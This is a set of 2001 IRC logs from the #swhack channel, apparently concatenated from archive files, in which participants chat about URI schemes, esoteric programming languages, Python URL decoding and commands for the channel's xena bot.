04:30:46 <sbp> * sbp still searches for a good NTP client 04:31:17 <deltab> I like sntpclock 04:31:41 <deltab> (part of the clockspeed package) 04:33:02 <AaronSw> Aha, the song! http://www.cryptorights.org/events/img/source/13.html 04:33:09 <AaronSw> (sorta) 04:33:47 <AaronSw> Oh, here we go: http://www.cryptorights.org/events/superpolynomial.html 04:41:51 <sbp> How long 'till the patent runs out? 04:42:12 <AaronSw> It ran out a while back. Last year I think. 04:42:21 <sbp> Oh, neat 04:46:54 <sbp> * sbp find TIC to be quite good, and it uses USNO Tock 04:48:52 <sbp> Gotta run 04:48:53 <sbp> c'ya 04:49:02 <AaronSw> bye 04:51:54 <sbp> sbp has quit 15:32:29 <tav> tav has quit 15:46:28 <tav> tav has joined #swhack 16:25:04 <AaronSw> AaronSw has quit 16:25:28 <AaronSw> AaronSw has joined #swhack 16:54:13 <tav> tav has quit 17:14:20 <tav> tav has joined #swhack 17:14:59 <tav> tav has quit 17:56:43 <tav> tav has joined #swhack 17:56:49 <AaronSw> tav is in, tav is out, tav is in, tav is out. 18:06:28 <tav> hi 18:11:13 <sbp> sbp has joined #swhack 18:17:22 <sbp> sbp has quit 19:28:55 <AaronSw> hi tav 19:29:07 <AaronSw> When's xena coming back? 19:57:13 <tav> when a certain bug with fds is fixed 20:04:57 <AaronSw> fds? 20:10:35 <tav> file descriptors 20:10:48 <tav> AaronSw: are you still 14 / 15 ? 20:12:50 <AaronSw> yes, why do you ask? 20:13:51 <tav> i was just very impressed 20:14:58 <AaronSw> ahh.... thanks ;-) 20:15:23 <tav> asian background? 20:15:44 <AaronSw> me? no... 20:17:01 <tav> you don't look caucassian... 20:17:06 <tav> .spell caucassian 20:17:19 <tav> gah 20:17:54 <AaronSw> i don't? 20:18:13 <AaronSw> perhaps not in a doorknob... 20:19:42 <AaronSw> Here's a better one: http://blogspace.com/pictures/photo-view?photo_id=4282 20:21:47 <tav> ted nelson and douglas englebart 20:21:49 <tav> wow indeed! 20:23:14 <AaronSw> heh 21:46:24 <sbp> sbp has joined #swhack 21:49:07 <AaronSw> F**k you. 21:49:09 <AaronSw> Oh, hello. 21:49:27 <AaronSw> I was just thinking about you, sbp. ;-) 21:49:55 <AaronSw> AaronSw has changed the topic to: Home of Sean B.A. Palmer 21:50:22 <sbp> sbp has quit 21:50:29 <AaronSw> pfft 21:53:18 <sbp> sbp has joined #swhack 21:53:49 <AaronSw> hello again 21:54:13 <AaronSw> it appears that sbp has left the building 21:54:20 <sbp> no, I'm here 21:54:22 <sbp> Hi! 21:54:29 <sbp> I was just looking into the geopriv group 21:54:32 <sbp> blargh 21:54:33 <AaronSw> Aha. 21:54:49 <AaronSw> You missed my great intro last time, better check the logs. 21:54:49 <sbp> I'm just about to mail the list... 21:54:56 <sbp> * sbp checks the logs 21:55:27 <sbp> lol! 21:55:57 <sbp> grmph, you can take that "A" out of my name 21:56:25 <AaronSw> AaronSw has changed the topic to: Home of Sean B. (not A.) Palmer 21:57:28 <sbp> * sbp sends a mail t the geopriv group, CC to www-archive 21:57:44 <sbp> s/t/to 21:57:45 <AaronSw> Aha, GLD=Global Learning Day. 21:58:01 <AaronSw> Ooh, here's an interesting error! 21:58:02 <AaronSw> 404 Address family not supported by protocol family 21:58:26 <sbp> where'd you get that? 21:58:31 <deltab> how is that 404? 21:58:42 <AaronSw> Try visiting http://www.bfranklin.edu/gld5 for me 21:59:12 <sbp> yeah, it's fine 21:59:26 <AaronSw> How odd... it seems to have fixed itself. 22:01:57 <AaronSw> * AaronSw wonders whn danbri will finsih playing myst and turn his server back on... 22:02:17 <AaronSw> Hehe: "URI schemes should not be invented on a whim, so it's a little bit embarassing really, but I've done it so much, it could almost be considered a hobby of mine now!", SBP 22:02:37 <AaronSw> ..."Interestingly, not one of my schemes has ever been registered, 'cause many of them are pretty awful." 22:02:41 <sbp> hey! I didn't write that... ahem 22:02:59 <sbp> Aw... 22:03:35 <sbp> I thought I'd cracked with "geo", but perhaps not 22:04:06 <AaronSw> Hmm, NTP URIs... 22:04:11 <AaronSw> Not sure about the use. 22:04:28 <AaronSw> LOL, urn-musical-note 22:04:37 <AaronSw> Oh, dear... urn-simpsons 22:04:40 <sbp> If you have an NTP client, you can try out people's new servers... it's quicker than saying "type in xxx in your NTP client" 22:04:55 <sbp> urn-musical-note is quite a cool one, but it got a bit complicated 22:05:15 <AaronSw> But in what context would you be trading NTP servers where the user didn't know it was an NTP server? 22:05:35 <AaronSw> Hmm, I don't remember you mentioning etag... 22:05:54 <sbp> search your mail archives, that's how I found it! 22:06:03 <AaronSw> musical notes might be better as RDF vocabs 22:06:11 <sbp> probably 22:06:24 <sbp> but they're pretty universal... I just liked this idea:- 22:06:34 <sbp> [[[ 22:06:35 <sbp> Perhaps by activiating a link to such a URN, a musical note could 22:06:35 <sbp> be played. In that way, crude HyperText instruments could be formed. 22:06:36 <sbp> ]]] 22:06:43 <sbp> just a laugh 22:06:46 <AaronSw> Next you're going to tell me that we need urn:rose... "A rose by any other name would not be as persistent" 22:07:06 <AaronSw> HyperText instruments -- right there with the coffee pots! 22:07:08 <sbp> why not? Yuo could have one for rose names. They are officially registered 22:07:11 <sbp> yes! 22:08:07 <sbp> * sbp looks up rose name registration processes 22:08:32 <sbp> aha: http://www.actahort.org/books/182/182_32.htm 22:09:43 <sbp> interesting 22:11:44 <sbp> sbp has changed the topic to: Everyone knows that I'm what makes this channel great - AaronSw 22:12:10 <AaronSw> Huh? 22:12:18 <sbp> Let me explain... 22:12:43 <sbp> it was "home of Sean B. Palmer", so I thought I'd put "I'm what makes this channel great" 22:13:11 <sbp> but! That would have made me sound like an egotistical (but still very bery cool) dude, and I'm not 22:13:17 <sbp> So I blamed it on you instead 22:13:19 <AaronSw> See, but home of SBP is true! 22:13:26 <AaronSw> I never claimed such an ego thing. 22:13:32 <AaronSw> AaronSw has changed the topic to: Everyone knows that I'm what makes this channel great - SBP 22:13:56 <sbp> sbp has changed the topic to: "Everyone knows that I'm what makes this channel great - SBP" - AaronSw 22:14:28 <AaronSw> AaronSw has changed the topic to: '"Everyone knows that I'm what makes this channel great - SBP" - AaronSw' - SBP 22:14:42 <sbp> sbp has changed the topic to: "'"Everyone knows that I'm what makes this channel great - SBP" - AaronSw' - SBP" - AaronSw 22:14:51 <AaronSw> AaronSw has changed the topic to: Anything you can do, I can do meta! 22:15:09 <sbp> sbp has changed the topic to: I can do anything meta than you! 22:15:21 <sbp> :-) 22:15:21 <AaronSw> AaronSw has changed the topic to: No you can't! 22:15:26 <AaronSw> :-) 22:15:29 <sbp> sbp has changed the topic to: Yes I can! 22:16:02 <sbp> Wasn't that by Sammy Davis Jr.? 22:16:14 <AaronSw> Irving Berlin, I think 22:16:18 <AaronSw> http://das-www.harvard.edu/users/students/Rebecca_Hwa/lyrics/berlin.html 22:16:55 <sbp> No, I mean "Yes I can!" 22:17:00 <sbp> http://www.google.com/search?q=%22Yes+I+can%22+%22Sammy+Davis+Jr.%22 22:18:13 <AaronSw> AaronSw has changed the topic to: Swartz is the first Aaron on Google. Palmer is the 43rd Sean. 22:18:19 <sbp> sbp has changed the topic to: Home of the Berlin/Davis appreciation society 22:19:03 <sbp> Oh, piss 22:19:07 <AaronSw> You're right behind "the faces of sean bean"! 22:20:50 <AaronSw> AaronSw has changed the topic to: Real hackers have breakfast at 6PM 22:20:55 <AaronSw> At least Gerald does. ;-) 22:21:05 <sbp> sbp has changed the topic to: Real hackers go to bed at 6PM 22:21:14 <sbp> At least I do :-) 22:21:52 <AaronSw> I went to bed at like 3AM last night... listening to Fray Day 5 SF. 22:22:05 <AaronSw> Silly time differences. 22:22:16 <sbp> Yep 22:22:23 <sbp> She was a working girl 22:22:28 <sbp> North of England way 22:22:34 <sbp> Now she's hit the big time 22:22:38 <sbp> In the U.S.A. 22:22:46 <sbp> And if she could only hear me 22:22:50 <sbp> This is what I'd say 22:22:57 <sbp> (doo-ooh) 22:23:00 <sbp> Honey pie 22:23:04 <sbp> You are making me crazy 22:23:08 <sbp> I'm in love but I'm lazy 22:23:15 <sbp> So won't you please come home 22:23:20 <AaronSw> AaronSw has changed the topic to: Breakfast, Beatles, and Berlin 22:23:38 <AaronSw> Alright, gotta run. 22:23:45 <sbp> O.K., c'ya! 22:23:47 <AaronSw> Gonna see a movie, I guess. 22:23:55 <AaronSw> Bye! 22:24:01 <sbp> cool! 22:24:03 <sbp> c'ya 22:25:05 <sbp> sbp has quit 22:56:57 <sbp> sbp has joined #swhack 23:18:44 <sbp> sbp has quit 23:42:21 <sbp> sbp has joined #swhack 23:46:19 <sbp> sbp has quit �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-10.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000021053�07347246413�012013� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:51:23 <logster> logster has joined #swhack 00:51:23 <carter.openprojects.net> topic is: Breakfast, Beatles, and Berlin 00:51:23 <carter.openprojects.net> Users on #swhack: logster @sbp tav AaronSw deltab 00:53:28 <sbp> sbp has quit 02:02:24 <sbp> sbp has joined #swhack 02:02:49 <sbp> sbp has quit 02:54:30 <sbp> sbp has joined #swhack 02:55:04 <sbp> Guess what I've done now? 02:55:47 <AaronSw> I'm not sure I want to know. 02:55:55 <sbp> Hint: it's my hobby 02:56:30 <AaronSw> You've learned to play "Death of the prince nodes" on guitar? 02:57:03 <sbp> Not yet. I learned to play the "Wind Cries Mary" solo, but that's not the thing 02:57:12 <sbp> [It's a good thing though] 02:57:51 <AaronSw> Hmm, I don't know. 02:57:58 <AaronSw> AaronSw is now known as AaronSw` 02:58:04 <sbp> lol 02:58:08 <AaronSw`> LOL http://badgertronics.com/hacks/monkey.txt 02:58:15 <sbp> Oh come on, I've done it about 10 times in the last week 02:58:29 <AaronSw`> No! It can't be! Don't say... 02:58:34 <AaronSw`> Another URN Scheme!!! 02:58:42 <AaronSw`> AaronSw` is now known as AaronSw 02:59:12 <sbp> Better, another URI scheme!!! 02:59:20 <AaronSw> Aaaah! 02:59:45 <AaronSw> AaronSw has changed the topic to: Attack of the living URI schemes!!! | They're plotting to kill me, I tell you. 02:59:55 <sbp> cool topic 03:00:10 <AaronSw> Movie I went to see: http://us.imdb.com/Title?0256524 03:00:15 <AaronSw> (courtesy of DTRT) 03:00:31 <sbp> Well, I might register this one, but it's a bit more complicated than the others, and I haven't thought of a name for it yet 03:00:55 <sbp> Oh, it's a "x Of The x" type movie 03:01:12 <sbp> Ah, Woody Allen 03:01:17 <AaronSw> heheh, x of the x 03:01:43 <AaronSw> It was pretty good, I thought. 03:02:15 <sbp> Cool 03:12:54 <sbp> Seven gherkins 03:13:05 <sbp> Oh, sorry... wrong channel 03:13:07 <AaronSw> gherkins? 03:14:06 <sbp> yes, gherkins 03:15:00 <AaronSw> hmz 03:16:11 <sbp> pardon? 03:16:19 <AaronSw> What are gherkins? 03:17:51 <sbp> they're vegetable type deeleys 03:17:54 <sbp> try Google 03:38:35 <sbp> Gotta run 03:38:36 <sbp> sbp has quit 03:51:27 <sbp> sbp has joined #swhack 03:52:05 <sbp> How does one decode %HH values in URIs in Python? 03:52:53 <deltab> urllib.unquote 03:53:09 <sbp> cheers Aaron 03:53:14 <sbp> oh! deltab 03:53:17 <AaronSw> Heheh. 03:53:20 <deltab> hehe 03:53:21 <sbp> :-) 03:53:27 <AaronSw> Thanks deltab, I was using binascii.hex_b2a() 03:53:39 <sbp> I was doing it manually 03:53:40 <deltab> ?! 03:53:48 <sbp> * sbp gives deltab a pat on the back 03:53:50 <AaronSw> Deltab gets so little appreciation from us... we need to throw him a part or something. 03:53:54 <AaronSw> err party 03:54:04 <sbp> I agree 03:54:09 <AaronSw> AaronSw has changed the topic to: Official deltab Appreciation Day 03:54:17 <deltab> haha 03:55:02 <sbp> heh, interesting:- 03:55:03 <sbp> [[[ 03:55:03 <sbp> unquote(string) 03:55:03 <sbp> Replace "%xx" escapes by their single-character equivalent. 03:55:03 <sbp> Example: unquote('/%7Econnolly/') yields '/~connolly/'. 03:55:05 <sbp> ]]] 03:55:09 <sbp> from the Python manual! 03:55:16 <AaronSw> Dan is everywhere! 03:55:24 <sbp> scary 03:55:47 <sbp> it should be /%7Edeltab/ anyway; it's deltab Appreciation Day 03:56:53 <AaronSw> Hmm, what's your website, deltab? 03:56:59 <sbp> * sbp adds the all important line to his CGI and... 03:57:14 <sbp> crap, it doesn't filter out the CRs 03:57:17 <AaronSw> Hmm, googling for "Daniel Biddle" finds a lot of times Daniels helped out on W3C lists. 03:57:42 <deltab> oh? hmm 03:57:57 <sbp> self.sig = string.replace(urllib.unquote(m[1]),'\r','') 03:58:01 <deltab> no website for me - too busy running other people's 03:58:08 <AaronSw> heheh 03:58:12 <sbp> kprkbmrgflrgpkrf 03:59:04 <AaronSw> DanC is a prominent Python user, I suppose. 04:00:03 <sbp> sbp has changed the topic to: The Daniel Biddle mystery: got Website? 04:00:31 <AaronSw> AaronSw has changed the topic to: The Daniel Biddle mystery: got Website? | Part of Daniel Biddle Appreciation Day 04:02:49 <deltab> I don't have a website of my own, really 04:05:10 <AaronSw> Not even anything close? 04:05:28 <sbp> * sbp tries to learn INTERCAL 04:05:34 <AaronSw> LOL 04:06:20 <sbp> Hmm... I've got a small bit of code, but I can't run it 04:06:30 <sbp> the manual is of little help 04:06:41 <sbp> it seems to get stuck on the COME FROM loop 04:06:59 <deltab> maybe you need to add PLEASE WORK 04:07:43 <sbp> Hmm... good idea 04:08:53 <sbp> Nope, still doesn't work. Crap 04:09:01 <sbp> I'll stick with Python 04:09:23 <deltab> I didn't think doing it would actually work 04:12:37 <sbp> Hmm... perhaps I'll move onto befunge. Now that kicks-ass: a 2-D programming language? 04:13:21 <deltab> yeah! 04:14:57 <sbp> Can't find the documentation though... 04:15:17 <deltab> where did you look? 04:16:16 <sbp> on the befunge site 04:16:49 <sbp> http://www.catseye.mb.ca/esoteric/befunge/93/index.html 04:17:09 <deltab> that's the site I'd look on :-) 04:17:41 <deltab> http://www.catseye.mb.ca/esoteric/befunge/93/bf93.html 04:18:28 <sbp> aha: http://www.mines.edu/students/b/bolmstea/mtfi/befunge-93.html 04:18:59 <sbp> Gotta run 04:19:03 <sbp> sbp has quit 14:09:07 <AaronSw> AaronSw has changed the topic to: Daniel Biddle Appreciation Day 19:28:31 <AaronSw> AaronSw has quit 19:29:10 <AaronSw> AaronSw has joined #swhack 19:59:42 <AaronSw> Hmmph... How do I get an account with xena? 20:00:04 <AaronSw> I registered, but now I get: 20:00:04 <AaronSw> <xena> Notice: invalid userhost: access denied 20:19:35 <sbp> sbp has joined #swhack 20:21:05 <sbp> sbp has quit 20:35:04 <sbp> sbp has joined #swhack 20:35:08 <AaronSw> Hello 20:35:18 <AaronSw> We keep trying to dial you in. 20:35:20 <sbp> Hi! 20:35:32 <sbp> O.K., are you still able to dial me in? As soon as I get off of IRC, can you try again? 20:35:39 <AaronSw> http://www.w3.org/1998/12/bridge/dialout.php3 20:35:41 <AaronSw> Sure. 20:35:46 <sbp> It's just silent when I get dialled in, and then it takes ages o hang up 20:35:53 <sbp> O.K., 1... 2... 3... 20:35:56 <sbp> c'ya! 20:35:58 <sbp> sbp has quit 21:37:13 <sbp> sbp has joined #swhack 21:37:19 <AaronSw> Hi Sean! 21:37:29 <sbp> Hi! 21:37:31 <sbp> the code: http://lists.w3.org/Archives/Member/w3c-wai-pf/2001JulSep/0601 21:37:45 <AaronSw> cool 21:37:55 <AaronSw> <xover> I intend to ask Kynn, sbp, and/or the WAI-IG, to do a thorough Accesibility review of the Validator at some point. 21:38:09 <sbp> neat 21:38:21 <AaronSw> LOL, that's befunge-93! 21:38:22 <sbp> * sbp welcomes the new "tag:" URI draft... 21:38:32 <AaronSw> That code is absolutely hilarious. 21:38:33 <sbp> yep 21:38:38 <sbp> It works, too! 21:38:38 <AaronSw> Can you put it somewhere public? 21:38:52 <sbp> I will send it to www-archive/Sandro/Tim in a while 21:39:02 <AaronSw> Cool! 21:39:11 <AaronSw> Hey, I didn't say all good programs have comments! 21:40:16 <sbp> Oops, true... 21:41:12 <AaronSw> I guess I'll have to respond... 21:42:47 <AaronSw> done 21:51:31 <sbp> * sbp sends his code to www-archive 22:04:14 <sbp> Hmm... it's quite neat though; only 8 lines of source. The Python version is quite a bit longer 22:04:25 <sbp> of course, the Python version is actually readable too 22:10:06 <AaronSw> Yes. 22:23:40 <sbp> sbp has quit 22:27:15 <sbp> sbp has joined #swhack 23:00:38 <logster> logster has joined #swhack 23:00:38 <benford.openprojects.net> topic is: Daniel Biddle Appreciation Day 23:00:38 <benford.openprojects.net> Users on #swhack: logster Morbus sbp AaronSw tav deltab 23:02:47 <sbp> Gotta run 23:02:48 <sbp> c'ya 23:02:53 <sbp> sbp has quit 23:02:53 <AaronSw> bye 23:03:34 <Morbus> julian bond wants me to setup ampheta as a competitor to radio 23:05:21 <AaronSw> That's quite interesting. 23:05:24 <AaronSw> Your thoughts? 23:05:50 <Morbus> i told him that i don't see that happening any time soon 23:07:24 <AaronSw> hmz 23:08:34 <Morbus> i dunno. what dya think? i got tons of other stuff to do instead 23:12:02 <AaronSw> I'm all for 2-way stuff, I think we really need it. 23:12:05 <AaronSw> But your time is yours. 23:13:47 <Morbus> at least right now, i feel like i have a lot of minor user things to fiddle with before I can start working on two way. i mean, i just moved tons of crap from the todo list into a "after 1.0" column so that I could hurry up and get one done. 23:13:56 <Morbus> ampheta's been grabbed about 12,000 times now 23:14:26 <AaronSw> wow 23:16:24 <Morbus> the sf stats are up to around 8500, but i stupidly removed earlier versions, and the stats with htem disappeared. all the downloads siphon through sf eventually 23:29:44 <AaronSw> That's pretty cool. 23:30:19 <Morbus> yah. now i'm justtrying to catch up on email. then i gotta work on some other crap. i doubt i'll even touch ampheta this week. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-11.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000120417�07347473122�012017� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:30:28 <logster> logster has joined #swhack 00:30:28 <niven.openprojects.net> topic is: Daniel Biddle Appreciation Day 00:30:28 <niven.openprojects.net> Users on #swhack: logster AaronSw tav deltab 01:01:32 <sbp> sbp has joined #swhack 01:02:03 <sbp> Daniel Biddle Appreciation Day? I thought that was yesterday? 01:02:10 <tav> ampheta? 01:02:20 <AaronSw> amphetadesk, tav 01:02:42 <sbp> ta da: http://purl.org/net/esl 01:02:43 <AaronSw> http://sourceforge.net/projects/amphetadesk 01:04:23 <sbp> "esl:" is the scheme that I have been working on 01:04:34 <sbp> as well as all of the others... ahem 01:04:56 <sbp> What's more, I've submitted it as an Internet Draft 01:05:03 <AaronSw> cool! 01:05:50 <sbp> I thought I'd bypass the usual "release to uri@w3.org and get some comments about how people don't think it's a good idea" step 01:06:06 <sbp> :-) 01:06:11 <AaronSw> heh 01:06:27 <tav> what's so good about ampheta? 01:06:40 <tav> it can be created in like an hour 01:07:00 <AaronSw> You've used it? 01:07:18 <AaronSw> Who said there was anything good about it? 01:07:21 <tav> no, just read http://www.disobey.com/amphetadesk/ 01:07:23 <AaronSw> It's just Morbus' project. 01:07:49 <AaronSw> Apparently it takes more than an hour if you use Perl and not Python. ;-) ;-) 01:08:17 <sbp> He he he 01:08:35 <sbp> Are you implying that Perl sucks? 01:08:51 <tav> for making apps, yes ;p 01:09:06 <tav> it's great otherwise 01:09:21 <sbp> * sbp wonders about a Python vs. Befunge-93 rant 01:09:41 <deltab> rant? 01:09:47 <AaronSw> What is there to rant about? 01:09:56 <sbp> I don't come up with essays or missives, I come up with rants 01:10:23 <sbp> * sbp wonders if he should standardize his rant format 01:10:47 <sbp> rant about: both are intuitive and easy to pick up 01:10:53 <sbp> except for Befunge-93 01:11:18 <sbp> [actually, that *was* very easy to pick up, just odd to code with] 01:12:06 <sbp> you get funny programing problems like, "if I turn this subroutine that way, will I have enough space, or will I have to bridge over that other subroutine?" 01:12:40 <sbp> more often than not, you think you have enough space, and find out you don't, or that you do if you turn another bit of code another way, which effects another bit of code... 01:13:24 <sbp> s/effects/affects 01:14:02 <AaronSw> that's so weird... 01:14:06 <xena> xena has joined #swhack 01:14:35 <AaronSw> thanks, deltab 01:14:49 <sbp> "wSnoraA">,# :# _@ 01:15:04 <AaronSw> .babel de-en Ich esse gern Wuerstchen, am liebsten mit Senf. 01:15:04 <xena> I eat gladly small sausages, dearest with mustard. 01:16:10 <AaronSw> .translate tag-eng Ito ay lumamig. 01:16:10 <sbp> .babel de-en Was Creme versuchte die silberne Essiggurke? 01:16:11 <xena> Which cream tried the silver essiggurke 01:16:17 <xena> It are cool. 01:16:38 <sbp> tag? 01:16:44 <deltab> tagalog 01:16:54 <deltab> used in the phillipines, iirc 01:17:25 <sbp> .babel it-en Penso che stia andando orinare io stesso ridendo! 01:17:26 <xena> Task that is going to orinare same I laughing 01:17:30 <deltab> er, Philippines 01:18:14 <sbp> what other tricks does it do? 01:18:55 <AaronSw> Xena? all sorts of fun stuff. 01:19:01 <sbp> like? 01:19:02 <AaronSw> You may have seen her as hiroko. 01:19:05 <AaronSw> .commands 01:19:05 <xena> valid commands: 01:19:06 <xena> - +mask, -mask, access, act, babel, billennium, change, commands, ctcp, date 01:19:07 <deltab> flights, weather, currencies 01:19:07 <xena> - dict, die, dns, e, email, excuse, flight, foldoc, fortune, google 01:19:08 <xena> - help, imdb, intelliquote, isotime, jargon, join, login, masks, modules, msg 01:19:09 <xena> - news, news on, news source, nick, nickometer, part, pig latin, plexname, quit, quote 01:19:10 <xena> - raw, register, rot13, search, seen, server, servers, spell, status, symbol for 01:19:11 <xena> - time, translate, unixtime, users, weather, webster, when did, whois, wn, zope commands 01:19:16 <sbp> her? 01:19:19 <deltab> the ubiquitous stock quote 01:19:30 <AaronSw> x import urlparse 01:19:41 <AaronSw> deltab, can you add hostmasks for me? 01:19:49 <deltab> I can try 01:20:18 <AaronSw> AaronSw!*@*.hlndpk1.il.home.com is fine 01:20:58 <deltab> .+mask aaronsw AaronSw!*@*.hlndpk1.il.home.com 01:21:07 <deltab> user does not exist 01:21:12 <deltab> register 01:21:26 <AaronSw> I did! 01:21:34 <deltab> hmm 01:21:37 <AaronSw> <xena> Notice: error: user already exists 01:21:45 <AaronSw> Maybe you have the capitalization wrong? 01:21:54 <deltab> .+mask AaronSw AaronSw!*@*.hlndpk1.il.home.com 01:21:58 <deltab> success 01:22:01 <Morbus> Morbus has joined #swhack 01:22:10 <AaronSw> yay! 01:22:12 <AaronSw> thanks deltab! 01:22:24 <AaronSw> x import urlparse 01:22:33 <AaronSw> pfft 01:22:39 <deltab> .x import urlparse 01:22:46 <deltab> .py import urlparse 01:22:50 <AaronSw> <xena> Notice: unauthorized: access denied 01:22:52 <sbp> Hmm... http://www.ietf.org/internet-drafts/draft-mealling-uri-ig-00.txt 01:23:03 <AaronSw> .news on uri 01:23:05 <xena> On ethics and prejudices - Haaretz Daily - http://c.moreover.com/click/here.pl?l24440608 01:23:06 <xena> Stocks Eke Out Gains on Bargain-Hunting - iWon - http://c.moreover.com/click/here.pl?l24440057 01:23:07 <xena> Stocks rally fizzles over earnings worries - CNET - http://c.moreover.com/click/here.pl?l24436813 01:23:08 <deltab> .py urlparse 01:23:09 <xena> <module 'urlparse' from '/home/staff/killarny/Python-2.1/Lib/urlparse.py'> 01:23:24 <sbp> .news on pink umbrellas 01:23:26 <xena> XM Radio Turns It On - Washington Post - http://c.moreover.com/click/here.pl?l24446048 01:23:27 <xena> PETA honors Linda McCartney - USA Today - http://c.moreover.com/click/here.pl?l24445467 01:23:29 <xena> By - TheStreet.com - http://c.moreover.com/click/here.pl?l24444988 01:23:35 <AaronSw> .py urlparse.urljoin('a','b') 01:23:39 <sbp> you have to wonder 01:23:42 <AaronSw> phptphptpt 01:23:57 <tav> j,z 01:24:03 <AaronSw> j,z? 01:24:06 <tav> have to increase your access 01:24:06 <tav> hmz 01:24:19 <tav> .access AaronSw 64 01:24:24 <tav> try now 01:24:27 <AaronSw> .py urlparse.urljoin('a','b') 01:24:32 <tav> relogin 01:24:41 <AaronSw> .py urlparse.urljoin('a','b') 01:24:42 <xena> 'b' 01:24:45 <AaronSw> yay! 01:24:47 <AaronSw> thanks tav 01:24:51 <tav> nps 01:25:10 <AaronSw> sbp, "McCartney, tieless in a pink shirt"... 01:25:21 <AaronSw> .news on "pink umbrellas" 01:25:32 <sbp> pig latin? 01:25:36 <AaronSw> .news on "Sean B. Palmer" 01:25:43 <AaronSw> .news rdfig 01:25:44 <xena> [ RDFIG ] - History-Based Tools for Navigation - An amusing opening slide from my pal, Paul Ford. - Nature Web Publishing article - http://rdfig.xmlhack.com/ 01:25:47 <tav> only one word 01:25:55 <AaronSw> ahh 01:25:57 <sbp> .news on Sean B. Palmer 01:25:57 <deltab> esyay 01:25:59 <xena> Intel apologises for Bluetooth gaffe - The Register - http://c.moreover.com/click/here.pl?l24445088 01:26:00 <xena> Safeco, seeking profits, hikes homeowner rates - Puget Sound Business Journal - http://c.moreover.com/click/here.pl?l24443698 01:26:01 <xena> Injured deputy on the mend - Post and Courier - http://c.moreover.com/click/here.pl?l24442456 01:26:10 <tav> that's news on 'sean' 01:26:15 <tav> same as i mean 01:26:21 <AaronSw> esyay? 01:26:31 <sbp> Oh well 01:26:38 <AaronSw> .seen Morbus 01:26:38 <xena> Morbus seen leaving #rdfig ~ 3 min(s) 48 sec(s) ago 01:26:40 <tav> .pig latin pig-eng esy-ay 01:26:40 <xena> error: Site Error occurred: UnboundLocalError 01:26:42 <tav> hmz 01:26:50 <AaronSw> .crash 01:26:52 <Morbus> what does hmz mean? 01:26:52 <AaronSw> Heh 01:27:08 <tav> it's the meaning of life 01:27:19 <AaronSw> Morbus, you missed tav bashing AmphetaDesk earlier. ;-) 01:27:24 <tav> every few lines, i utter the meaning of life 01:27:27 <AaronSw> loggy, grep ampheta 01:27:28 <tav> AaronSw: sssssssh! 01:27:31 <Morbus> bwahahah. yeah? 01:27:40 <Morbus> who the hell is tav? 01:27:49 <AaronSw> tav is supreme ruler of the world. 01:27:49 <Morbus> hey, tav, who are you? <g> 01:27:55 <tav> -- 01:27:56 <tav> <tav> what's so good about ampheta? 01:27:56 <tav> <tav> it can be created in like an hour 01:27:57 <tav> -- 01:28:17 <Morbus> heheh... 01:28:24 <Morbus> then why aren't there a zillion of em? 01:28:39 <tav> there are... 01:28:57 <tav> well, i can think of 5 off me head anyways 01:29:00 <Morbus> show me one thats crossplatform of mac / pc / linux and requires only one download for the moronic user 01:29:04 <Morbus> name em./ 01:29:20 <tav> i dunno about mac 01:29:22 <Morbus> * Morbus puts on boxing gloves... <g> 01:29:28 <Morbus> ah ha! <g> 01:29:31 <tav> mac, i only know radio 01:29:38 <AaronSw> tav, what does plexname do? 01:29:40 <AaronSw> help plexname 01:29:43 <Morbus> which is confusing as hell. 01:29:46 <AaronSw> .plexname tav 01:29:47 <xena> http://espians.com/tav 01:29:50 <tav> yea, radio sucks 01:29:55 <tav> .e tav 01:29:55 <xena> error: [Errno socket error] host not found 01:30:02 <tav> argh, fucking thing 01:30:08 <xena> xena has quit 01:30:18 <sbp> aw, you hurt its feelings 01:30:42 <tav> Morbus: gimme a min, restarting xena 01:30:48 <Morbus> see, my main prob is that there are all these rss readers, but there's a big curve to using them. 01:30:50 <Morbus> np 01:30:50 <sbp> * sbp notices how #swhack is getting more and more popular... 01:31:21 <AaronSw> AaronSw has changed the topic to: Join #swhack. Sean chats there. 01:31:28 <sbp> lol! 01:31:43 <Morbus> heh. brb 01:31:43 <Morbus> Morbus has quit 01:31:48 <sbp> For all your Sean-ish needs 01:32:03 <AaronSw> You guys have the X wears them ad in the UK? 01:32:08 <Morbus> Morbus has joined #swhack 01:32:18 <sbp> Not on my T.V. 01:32:26 <Morbus> oOoh. finally. athena finally nonantialiases the font. 01:32:46 <AaronSw> It was a billboard ad, not a tv one. 01:33:09 <sbp> I have a billboard right near my house... hang on a sec 01:33:25 <tav> ah, screw it, will fix the bug later 01:33:34 <sbp> nope 01:33:36 <AaronSw> * AaronSw thinks billboards suck 01:33:45 <sbp> It's not all that big 01:33:49 <AaronSw> tav, when I try to join the espnet I get: 01:33:50 <AaronSw> Innermost method: /espnow/x_user_prefs_set 01:33:50 <AaronSw> Name not found or not allowed: aaronsw 01:33:53 <xena> xena has joined #swhack 01:34:01 <AaronSw> e tav 01:34:03 <tav> oh, the xnet? 01:34:05 <AaronSw> .e tav 01:34:05 <xena> http://espians.com/tav 01:34:09 <AaronSw> yes, the xnet 01:34:18 <tav> yea, i have to auth you 01:34:48 <AaronSw> .e tav Please auth Aaron and fix annoying xena bugs. Thanks. :-) -Aaron 01:34:50 <sbp> Mi chiama Sean, pleased to meet you 01:34:58 <AaronSw> Mi chiama? 01:35:18 <tav> poor italian? 01:35:26 <deltab> .translate ita-eng Mi chiama 01:35:28 <xena> Me [chiama] 01:35:55 <AaronSw> .translate badita-eng Mi chiama 01:35:56 <xena> incorrect syntax. see help tranlate for more info. 01:35:59 <sbp> I dunno how you spell it. I'm no better at spelling Italian than I am English 01:36:12 <AaronSw> Well, spell it in English then. ;-) 01:36:21 <tav> * tav looks at sbp 01:36:33 <AaronSw> Thanks, tav. 01:36:40 <sbp> hang on a second... oh, it's been too long, hasn't it? 01:36:40 <deltab> haha, "help tranlate" 01:37:14 <tav> you can never forget the very fist sentence you are taught in any language 01:37:18 <AaronSw> .e sbp 01:37:25 <tav> you are only off by one... 01:37:29 <deltab> 